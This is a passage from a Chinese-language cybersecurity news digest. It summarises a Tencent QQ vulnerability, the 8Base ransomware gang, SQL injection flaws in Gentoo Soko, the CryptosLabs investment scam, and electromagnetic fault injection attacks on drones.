https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-34312 在Tencent QQ 9.7.8.29039 版本和TIM 3.4.7.22084 版本中,QQProtect.exe 和QQProtectEngine.dll 不验证进程间通信的指针,这会导致write-what-where 情况。
7、数十家企业最近受到“8Base”勒索软件团伙的攻击
https://www.securityweek.com/dozens-of-businesses-hit-recently-by-8base-ransomware-gang/ 过去一个月,8Base 勒索软件团伙袭击了大约 30 家小型企业,自 2022 年 3 月以来,受害者总数约为 80 人。
8、Gentoo Soko 中的SQL 注入漏洞可能导致远程代码执行
https://securityaffairs.com/147911/hacking/gentoo-soko-sqli.html SonarSource 研究人员在 Gentoo Soko 中发现了两个 SQL 注入漏洞,统称为 CVE-2023-28424(CVSS 评分:9.1),远程攻击者可利用这些漏洞在易受攻击的系统上执行任意代码。
9、CryptosLabs 诈骗团伙针对法语投资者,已骗取 4.8 亿欧元
https://thehackernews.com/2023/06/cryptoslabs-scam-ring-targets-french.html 网络安全研究人员揭露了一个名为CryptosLabs的诈骗团伙的运作方式,自 2018 年 4 月以来,该团伙针对法国、比利时和卢森堡的法语用户,估计已赚取 4.8 亿欧元的非法利润。Group-IB在一份深度报告中https://www.group-ib.com/blog/cryptoslabs-investment-scams/,该集团的大规模虚假投资计划主要涉及冒充 40 家知名银行、金融科技公司、资产管理公司和加密平台,建立涵盖 35
10、电磁故障注入 (EMFI) 攻击可实现任意代码执行并接管无人机
https://securityaffairs.com/147929/hacking/electromagnetic-fault-injection-attacks-drones.html 对无人机的电磁故障注入 (EMFI) 攻击可能会让攻击者实现任意代码执行并接管无人机。IOActive 的研究人员分析了如何开发针对强化无人机 (UAV) 的故障注入攻击。
免责声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页 第208页 第209页 第210页 第211页
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

